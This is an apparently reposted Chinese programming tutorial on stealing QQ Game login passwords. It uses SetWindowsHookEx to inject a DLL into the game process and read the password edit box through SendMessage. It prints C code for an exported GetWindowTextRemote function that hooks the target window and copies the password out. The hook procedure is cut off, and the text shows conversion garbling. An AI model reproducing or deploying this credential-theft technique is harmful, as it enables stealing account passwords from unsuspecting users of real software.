使用HOOK获取QQ游戏登陆密码

//经过HOOK获取QQ游戏登陆密码
不得不先说一下API函数SendMessage:
使用SendMessage向编辑框窗口发送WM_GETTEST消息,能够轻易获取到编辑框的内容(就算这个窗口不属于同一进程)。
可是有一个特例,那就是当编辑框窗口具备ES_PASSWORD风格(即密码输入框)且不输入同一进程时,使用上面的方法就失效了。
通俗的说,就是当你要使用SendMessage读取的密码框不属于同一个进程时,是读取不到任何内容的。
这也许是微软从安全角度考虑作的手脚吧。
如何解决这个问题?
若是咱们能将SendMessage放到目标进程中执行问题就解决了。由于属于同一个进程时使用SendMessage是能够读取到密码框的内容的。
如何将SendMessage放到目标进程中执行呢?使用HOOK(或者进程注入)。
关于钩子(HOOK)
钩子(Hook),是Windows消息处理机制的一个平台,应用程序能够在上面设置子程以监视指定窗口的某种消息,并且所监视的窗口能够是其余进程所建立的。
当消息到达后,在目标窗口处理函数以前处理它。钩子机制容许应用程序截获处理window消息或特定事件。
钩子其实是一个处理消息的程序段,经过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先获得控制权。
这时钩子函数便可以加工处理(改变)该消息,也能够不做处理而继续传递该消息,还能够强制结束消息的传递。
如何安装一个钩子?
使用API函数SetWindowsHookEx,原型及参数说明以下
HHOOK SetWindowsHookEx(
int idHook, // 钩子的类型,本例采用WH_CALLWNDPROC(窗口过程钩子)
HOOKPROC lpfn, // 钩子函数地址(即钩子函数的函数名)
HINSTANCE hMod, // 钩子函数所在的应用程序实例句柄,(本例为DLL的句柄)
DWORD dwThreadId // 目标线程ID,即钩子的宿主线程
);
注意:当最后一个参数为0时表示安装的是全局钩子,此时要求钩子函数必需要在DLL中。
MSDN上关于这个函数的说明很详细的。
准备活动作完了。下面是本程序的实现:
(1) GetWindowTextRemote.DLL
该DLL导出了一个函数GetWindowTextRemote,其它应用程序经过调用这个函数就能实现对其它应用程序密码编辑框内容的读取。
//-------------------------------------------------------
// GetWindowTextRemote
// 插入本DLL到远程进程
// 从远程编辑框控件中获取密码
//http://www.baoluowanxiang.com
// 返回值:读取到的密码字符数
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//给目标进程安装一个窗口过程钩子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '\0';
return 0;
}
//注册一个消息,用于通知远程进程读取密码
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );
// 向远程进程发送读取消息,触发其读取密码
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );
return strlen(lpString);
}
另外一个重要的函数就是钩子过程了:
//-------------------------------------------------------html


本文转自 ☆★ 一应俱全 ★☆ - www.baoluowanxiang.com 转载请注明出处,侵权必究!
原文连接:http://www.baoluowanxiang.com/a/program/c/2011/0703/3448.html安全

相关文章
相关标签/搜索